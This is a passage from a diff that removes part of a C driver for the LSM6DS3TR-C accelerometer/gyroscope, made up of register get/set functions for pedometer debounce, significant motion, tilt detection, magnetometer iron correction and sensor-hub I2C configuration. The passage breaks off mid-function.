-int32_t lsm6ds3tr_c_pedo_debounce_steps_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_pedo_deb_reg_t pedo_deb_reg; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_PEDO_DEB_REG, (uint8_t*)&pedo_deb_reg, 1); - - if(ret == 0) { - *val = pedo_deb_reg.deb_step; - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Debounce time. If the time between two consecutive steps is - * greater than DEB_TIME*80ms, the debouncer is reactivated. - * Default value: 01101[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of deb_time in reg PEDO_DEB_REG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pedo_timeout_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_pedo_deb_reg_t pedo_deb_reg; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_PEDO_DEB_REG, (uint8_t*)&pedo_deb_reg, 1); - - if(ret == 0) { - pedo_deb_reg.deb_time = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_PEDO_DEB_REG, (uint8_t*)&pedo_deb_reg, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - - return ret; -} - -/** - * @brief Debounce time. If the time between two consecutive steps is - * greater than DEB_TIME*80ms, the debouncer is reactivated. - * Default value: 01101[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of deb_time in reg PEDO_DEB_REG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pedo_timeout_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_pedo_deb_reg_t pedo_deb_reg; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_PEDO_DEB_REG, (uint8_t*)&pedo_deb_reg, 1); - - if(ret == 0) { - *val = pedo_deb_reg.deb_time; - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Time period register for step detection on delta time (r/w).[set] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that contains data to write - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pedo_steps_period_set(stmdev_ctx_t* ctx, uint8_t* buff) { - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_STEP_COUNT_DELTA, buff, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Time period register for step detection on delta time (r/w).[get] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that stores data read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pedo_steps_period_get(stmdev_ctx_t* ctx, uint8_t* buff) { - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_STEP_COUNT_DELTA, buff, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_significant_motion - * @brief This section groups all the functions that manage the - * significant motion detection. - * @{ - * - */ - -/** - * @brief Enable significant motion detection function.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of sign_motion_en in reg CTRL10_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_motion_sens_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - - if(ret == 0) { - ctrl10_c.sign_motion_en = val; - - if(val != 0x00U) { - ctrl10_c.func_en = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - } - } - - return ret; -} - -/** - * @brief Enable significant motion detection function.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of sign_motion_en in reg CTRL10_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_motion_sens_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - *val = ctrl10_c.sign_motion_en; - - return ret; -} - -/** - * @brief Significant motion threshold.[set] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that store significant motion threshold. - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_motion_threshold_set(stmdev_ctx_t* ctx, uint8_t* buff) { - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SM_THS, buff, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Significant motion threshold.[get] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that store significant motion threshold. - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_motion_threshold_get(stmdev_ctx_t* ctx, uint8_t* buff) { - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SM_THS, buff, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_tilt_detection - * @brief This section groups all the functions that manage the tilt - * event detection. - * @{ - * - */ - -/** - * @brief Enable tilt calculation.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tilt_en in reg CTRL10_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tilt_sens_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - - if(ret == 0) { - ctrl10_c.tilt_en = val; - - if(val != 0x00U) { - ctrl10_c.func_en = val; - } - - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - } - - return ret; -} - -/** - * @brief Enable tilt calculation.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tilt_en in reg CTRL10_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tilt_sens_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - *val = ctrl10_c.tilt_en; - - return ret; -} - -/** - * @brief Enable tilt calculation.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tilt_en in reg CTRL10_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_wrist_tilt_sens_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - - if(ret == 0) { - ctrl10_c.wrist_tilt_en = val; - - if(val != 0x00U) { - ctrl10_c.func_en = val; - } - - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - } - - return ret; -} - -/** - * @brief Enable tilt calculation.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tilt_en in reg CTRL10_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_wrist_tilt_sens_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - *val = ctrl10_c.wrist_tilt_en; - - return ret; -} - -/** - * @brief Absolute Wrist Tilt latency register (r/w). - * Absolute wrist tilt latency parameters. - * 1 LSB = 40 ms. Default value: 0Fh (600 ms).[set] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that contains data to write - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tilt_latency_set(stmdev_ctx_t* ctx, uint8_t* buff) { - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_B); - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_A_WRIST_TILT_LAT, buff, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Absolute Wrist Tilt latency register (r/w). - * Absolute wrist tilt latency parameters. - * 1 LSB = 40 ms. Default value: 0Fh (600 ms).[get] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that stores data read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tilt_latency_get(stmdev_ctx_t* ctx, uint8_t* buff) { - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_B); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_A_WRIST_TILT_LAT, buff, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Absolute Wrist Tilt threshold register(r/w). - * Absolute wrist tilt threshold parameters. - * 1 LSB = 15.625 mg.Default value: 20h (500 mg).[set] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that contains data to write - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tilt_threshold_set(stmdev_ctx_t* ctx, uint8_t* buff) { - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_B); - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_A_WRIST_TILT_THS, buff, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Absolute Wrist Tilt threshold register(r/w). - * Absolute wrist tilt threshold parameters. - * 1 LSB = 15.625 mg.Default value: 20h (500 mg).[get] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that stores data read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tilt_threshold_get(stmdev_ctx_t* ctx, uint8_t* buff) { - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_B); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_A_WRIST_TILT_THS, buff, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Absolute Wrist Tilt mask register (r/w).[set] - * - * @param ctx Read / write interface definitions - * @param val Registers A_WRIST_TILT_MASK - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tilt_src_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_a_wrist_tilt_mask_t* val) { - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_B); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_A_WRIST_TILT_MASK, (uint8_t*)val, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Absolute Wrist Tilt mask register (r/w).[get] - * - * @param ctx Read / write interface definitions - * @param val Registers A_WRIST_TILT_MASK - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tilt_src_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_a_wrist_tilt_mask_t* val) { - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_B); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_A_WRIST_TILT_MASK, (uint8_t*)val, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_ magnetometer_sensor - * @brief This section groups all the functions that manage additional - * magnetometer sensor. - * @{ - * - */ - -/** - * @brief Enable soft-iron correction algorithm for magnetometer.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of soft_en in reg CTRL9_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_mag_soft_iron_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl9_xl_t ctrl9_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - - if(ret == 0) { - ctrl9_xl.soft_en = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - } - - return ret; -} - -/** - * @brief Enable soft-iron correction algorithm for magnetometer.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of soft_en in reg CTRL9_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_mag_soft_iron_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl9_xl_t ctrl9_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - *val = ctrl9_xl.soft_en; - - return ret; -} - -/** - * @brief Enable hard-iron correction algorithm for magnetometer.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of iron_en in reg MASTER_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_mag_hard_iron_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_master_config_t master_config; - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - - if(ret == 0) { - master_config.iron_en = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - - if(ret == 0) { - if(val != 0x00U) { - ctrl10_c.func_en = val; - } - - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - } - } - } - - return ret; -} - -/** - * @brief Enable hard-iron correction algorithm for magnetometer.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of iron_en in reg MASTER_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_mag_hard_iron_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_master_config_t master_config; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - *val = master_config.iron_en; - - return ret; -} - -/** - * @brief Soft iron 3x3 matrix. Value are expressed in sign-module format. - * (Es. SVVVVVVVb where S is the sign 0/+1/- and V is the value).[set] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that contains data to write - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_mag_soft_iron_mat_set(stmdev_ctx_t* ctx, uint8_t* buff) { - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_MAG_SI_XX, buff, 9); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Soft iron 3x3 matrix. Value are expressed in sign-module format. - * (Es. SVVVVVVVb where S is the sign 0/+1/- and V is the value).[get] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that stores data read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_mag_soft_iron_mat_get(stmdev_ctx_t* ctx, uint8_t* buff) { - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MAG_SI_XX, buff, 9); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Offset for hard-iron compensation register (r/w). The value is - * expressed as a 16-bit word in two’s complement.[set] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that contains data to write - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_mag_offset_set(stmdev_ctx_t* ctx, int16_t* val) { - uint8_t buff[6]; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - buff[1] = (uint8_t)((uint16_t)val[0] / 256U); - buff[0] = (uint8_t)((uint16_t)val[0] - (buff[1] * 256U)); - buff[3] = (uint8_t)((uint16_t)val[1] / 256U); - buff[2] = (uint8_t)((uint16_t)val[1] - (buff[3] * 256U)); - buff[5] = (uint8_t)((uint16_t)val[2] / 256U); - buff[4] = (uint8_t)((uint16_t)val[2] - (buff[5] * 256U)); - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_MAG_OFFX_L, buff, 6); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Offset for hard-iron compensation register(r/w). - * The value is expressed as a 16-bit word in two’s complement.[get] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that stores data read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_mag_offset_get(stmdev_ctx_t* ctx, int16_t* val) { - uint8_t buff[6]; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MAG_OFFX_L, buff, 6); - - if(ret == 0) { - val[0] = (int16_t)buff[1]; - val[0] = (val[0] * 256) + (int16_t)buff[0]; - val[1] = (int16_t)buff[3]; - val[1] = (val[1] * 256) + (int16_t)buff[2]; - val[2] = (int16_t)buff[5]; - val[2] = (val[2] * 256) + (int16_t)buff[4]; - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_Sensor_hub - * @brief This section groups all the functions that manage the sensor - * hub functionality. - * @{ - * - */ - -/** - * @brief Enable function.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values func_en - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_func_en_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - - if(ret == 0) { - ctrl10_c.func_en = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - } - - return ret; -} - -/** - * @brief Sensor synchronization time frame with the step of 500 ms and - * full range of 5s. Unsigned 8-bit.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tph in reg SENSOR_SYNC_TIME_FRAME - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_sync_sens_frame_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_sensor_sync_time_frame_t sensor_sync_time_frame; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_SENSOR_SYNC_TIME_FRAME, (uint8_t*)&sensor_sync_time_frame, 1); - - if(ret == 0) { - sensor_sync_time_frame.tph = val; - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_SENSOR_SYNC_TIME_FRAME, (uint8_t*)&sensor_sync_time_frame, 1); - } - - return ret; -} - -/** - * @brief Sensor synchronization time frame with the step of 500 ms and - * full range of 5s. Unsigned 8-bit.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tph in reg SENSOR_SYNC_TIME_FRAME - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_sync_sens_frame_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_sensor_sync_time_frame_t sensor_sync_time_frame; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_SENSOR_SYNC_TIME_FRAME, (uint8_t*)&sensor_sync_time_frame, 1); - *val = sensor_sync_time_frame.tph; - - return ret; -} - -/** - * @brief Resolution ratio of error code for sensor synchronization.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of rr in reg SENSOR_SYNC_RES_RATIO - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_sync_sens_ratio_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_rr_t val) { - lsm6ds3tr_c_sensor_sync_res_ratio_t sensor_sync_res_ratio; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_SENSOR_SYNC_RES_RATIO, (uint8_t*)&sensor_sync_res_ratio, 1); - - if(ret == 0) { - sensor_sync_res_ratio.rr = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_SENSOR_SYNC_RES_RATIO, (uint8_t*)&sensor_sync_res_ratio, 1); - } - - return ret; -} - -/** - * @brief Resolution ratio of error code for sensor synchronization.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of rr in reg SENSOR_SYNC_RES_RATIO - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_sync_sens_ratio_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_rr_t* val) { - lsm6ds3tr_c_sensor_sync_res_ratio_t sensor_sync_res_ratio; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_SENSOR_SYNC_RES_RATIO, (uint8_t*)&sensor_sync_res_ratio, 1); - - switch(sensor_sync_res_ratio.rr) { - case LSM6DS3TR_C_RES_RATIO_2_11: - *val = LSM6DS3TR_C_RES_RATIO_2_11; - break; - - case LSM6DS3TR_C_RES_RATIO_2_12: - *val = LSM6DS3TR_C_RES_RATIO_2_12; - break; - - case LSM6DS3TR_C_RES_RATIO_2_13: - *val = LSM6DS3TR_C_RES_RATIO_2_13; - break; - - case LSM6DS3TR_C_RES_RATIO_2_14: - *val = LSM6DS3TR_C_RES_RATIO_2_14; - break; - - default: - *val = LSM6DS3TR_C_RES_RATIO_ND; - break; - } - - return ret; -} - -/** - * @brief Sensor hub I2C master enable.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of master_on in reg MASTER_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_master_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_master_config_t master_config; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - - if(ret == 0) { - master_config.master_on = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - } - - return ret; -} - -/** - * @brief Sensor hub I2C master enable.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of master_on in reg MASTER_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_master_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_master_config_t master_config; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - *val = master_config.master_on; - - return ret; -} - -/** - * @brief I2C interface pass-through.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of pass_through_mode in reg MASTER_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_pass_through_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_master_config_t master_config; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - - if(ret == 0) { - master_config.pass_through_mode = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - } - - return ret; -} - -/** - * @brief I2C interface pass-through.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of pass_through_mode in reg MASTER_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_pass_through_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_master_config_t master_config; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - *val = master_config.pass_through_mode; - - return ret; -} - -/** - * @brief Master I2C pull-up enable/disable.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of pull_up_en in reg MASTER_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_pin_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_pull_up_en_t val) { - lsm6ds3tr_c_master_config_t master_config; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - - if(ret == 0) { - master_config.pull_up_en = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - } - - return ret; -} - -/** - * @brief Master I2C pull-up enable/disable.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of pull_up_en in reg MASTER_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_pin_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_pull_up_en_t* val) { - lsm6ds3tr_c_master_config_t master_config; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - - switch(master_config.pull_up_en) { - case LSM6DS3TR_C_EXT_PULL_UP: - *val = LSM6DS3TR_C_EXT_PULL_UP; - break; - - case LSM6DS3TR_C_INTERNAL_PULL_UP: - *val = LSM6DS3TR_C_INTERNAL_PULL_UP; - break; - - default: - *val = LSM6DS3TR_C_SH_PIN_MODE; - break; - } - - return ret; -} - -/** - * @brief Sensor hub trigger signal selection.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of start_config in reg MASTER_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_syncro_mode_set(stmdev_ctx_t* 